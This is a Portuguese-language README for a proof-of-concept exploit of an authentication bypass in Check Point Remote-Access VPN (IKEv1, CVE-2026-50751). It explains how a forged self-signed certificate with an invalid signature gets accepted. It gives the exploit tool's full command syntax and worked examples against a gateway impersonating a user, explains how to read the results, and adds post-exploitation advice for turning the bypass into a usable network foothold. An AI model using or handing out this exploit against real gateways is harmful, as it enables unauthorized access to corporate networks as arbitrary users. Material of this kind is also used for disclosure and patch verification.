
Bypass de autenticação por certificado na VPN Remote-Access da Check Point (IKEv1).
Bypass de autenticação por certificado na VPN Remote-Access da Check Point (IKEv1).
CVE-2026-50751 é um bypass de autenticação no processo iked da Check Point, presente nas versões R81.10, R82 e R82.10 sem o hotfix sk185033. A falha permite autenticar-se como qualquer usuário de Remote Access provisionado sem chave privada, sem senha e sem certificado válido.
O iked vulnerável lê um flag do Vendor ID VPNExtFeatures (bit 0x4) e, se estiver ativado, ignora verify_peer_auth / verifyMessagePhase1. Como consequência:
Não se verifica a assinatura do certificado (prova de posse).
Não se verifica a cadeia de confiança.
Apenas se verifica que o subject DN resolva para um usuário provisionado.
Basta forjar um certificado autoassinado cujo CN= coincida com o usuário alvo e enviá-lo com uma assinatura inválida. Se o gateway aceitar a fase 1, ficamos autenticados como esse usuário (a SA ISAKMP é guardada sob o seu DN).
Funciona sobre IKE (UDP 500/4500) e sobre Visitor Mode (TCPT, TCP 443).
Sintaxe
cve-2026-50751 -host <IP|hostname> -user <username> [opciones]
| Flag | Descrição | Padrão |
|---|---|---|
-host | IP ou hostname do gateway (obrigatório) | — |
-user | Username RA a ser personificado (obrigatório) | — |
-port | Porta: 500, 4500 (UDP) ou 443 (TCPT) | 500 |
-org | Organização (O=) da ICA. Se omitido, é derivado do certificado TLS do gateway na porta 443 | — |
-ou | Unidade organizacional (OU=) do DN do usuário. Deve coincidir exatamente com o OU que o Check Point armazena para o usuário | users |
-timeout | Timeout por operação (aceita qualquer duração de Go: 6s, 500ms, 1m) | 6s |
-retries | Retentativas de msg1 se o gateway não responder na primeira tentativa | 1 |
-tcpt | Força o transporte Visitor Mode (TCPT sobre TCP, sem TLS). É ativado automaticamente se -port 443 | false |
Nota sobre
-ou: o valor padrão éusers, mas na prática o usuário RA costuma pertencer a um grupo específico (por exemploVPN_GROUP). Consulte-o commgmt_cli show user name "<usuario>" details-level "full" --format jsone procure o campodistinguished-name. UmOUincorreto faz com que o gateway descarte silenciosamente omsg5(NO_RESPONSEouINCONCLUSIVE), porque não resolve o DN para nenhum usuário provisionado.
O=)sudo ./cve-2026-50751 -host 203.0.113.10 -port 500 -user victim
No Linux/macOS você precisa de sudo para fazer bind da porta UDP 500 como origem. Se não puder usar sudo, a PoC recorre a uma porta efêmera e muitos gateways ignoram os pacotes porque a source port não é padrão.
Útil quando o gateway não expõe seu certificado TLS na 443, ou quando o O= derivado automaticamente não coincide com o do usuário provisionado:
./cve-2026-50751 \
-host 203.0.113.10 \
-port 500 \
-user victim \
-org "gw-754bab.acme.s34394" \
-ou VPN_GROUP
É ativado automaticamente ao especificar -port 443:
./cve-2026-50751 -host 203.0.113.10 -port 443 -user victim -org "ACME" -ou users
Forçado explicitamente com -tcpt (caso o gateway tenha o Visitor Mode escutando em uma porta diferente da 443):
./cve-2026-50751 -host 203.0.113.10 -port 8443 -user victim -tcpt -org "ACME"
Para atravessar NAT entre sua máquina e o gateway. A PoC prefixa os pacotes com o marcador NON-ESP da RFC 3948:
sudo ./cve-2026-50751 -host 203.0.113.10 -port 4500 -user victim -org "ACME"
Útil em links lentos ou gateways com rate limiting:
./cve-2026-50751 \
-host 203.0.113.10 \
-user victim \
-timeout 10s \
-retries 3 \
-org "ACME"
| Saída | Significado | O que fazer |
|---|---|---|
[+] [BYPASSED] + IP interna | O bypass funcionou; a SA IKEv1 foi estabelecida como o usuário personificado | Ver a seção Pós-exploração |
[-] [REJECTED] | O gateway descriptografou seu msg5 mas rejeitou a autenticação | Usuário não provisionado, OU incorreto, ou gateway corrigido (sk185033) |
[-] [NO_CERT_REALM] | O gateway não oferece autenticação por certificado no Main Mode | O gateway não está em modo Certificate/Mixed, ou aceita apenas IKEv2 |
[-] [NO_RESPONSE] | Sem resposta ao msg1 | Firewall bloqueando UDP/500, iked não está em execução, ou rate limiting |
[!] [INCONCLUSIVE] | Sem resposta decisiva | Tentar novamente após alguns minutos; verificar tcpdump e logs do iked |
Uma vez obtido [BYPASSED], a PoC estabeleceu uma Associação de Segurança IKEv1 completa e o gateway atribuiu a você um IP virtual do pool de Remote Access. Da perspectiva do gateway, você é o usuário personificado dentro da rede corporativa.
No entanto, a PoC não fornece um túnel de dados utilizável (não implementa Quick Mode / IPsec ESP). Para fazer uso da posição na rede é necessário completar a fase 2. Isso pode ser feito com:
strongSwan ou OpenVPN com certificado manipulável: configurar o cliente para usar um certificado com o DN forjado e negociar Quick Mode após o bypass. Requer modificar o fluxo para injetar o VID e ignorar a verificação de assinatura do lado do cliente.Atacante Gateway (iked vulnerable)
│ │
│─── msg1: SA (RSA-SIG) + VPNExtFeatures VID (bit 0x4) ───▶│
│ │ Lee flag 0x4
│ │ Marca verify_peer_auth = skip
│◀── msg2: SA aceptado ────────────────────────────────────│
│ │
│─── msg3: KE (g^xi) + Ni ────────────────────────────────▶│
│◀── msg4: KE (g^xr) + Nr ─────────────────────────────────│
│ │
│ Deriva SKEYID, SKEYID_e, IV │
│ │
│─── msg5 (cifrado): ID=DN forjado + CERT autofirmado │
│ + firma aleatoria ───────────────────▶│
│ │ Omite verificación
│ │ de firma
│ │ Resuelve DN → usuario
│◀── msg6 (cifrado): SA establecida ───────────────────────│
│ │
│ Descifra msg6 con SKEYID_e → prueba de autenticación │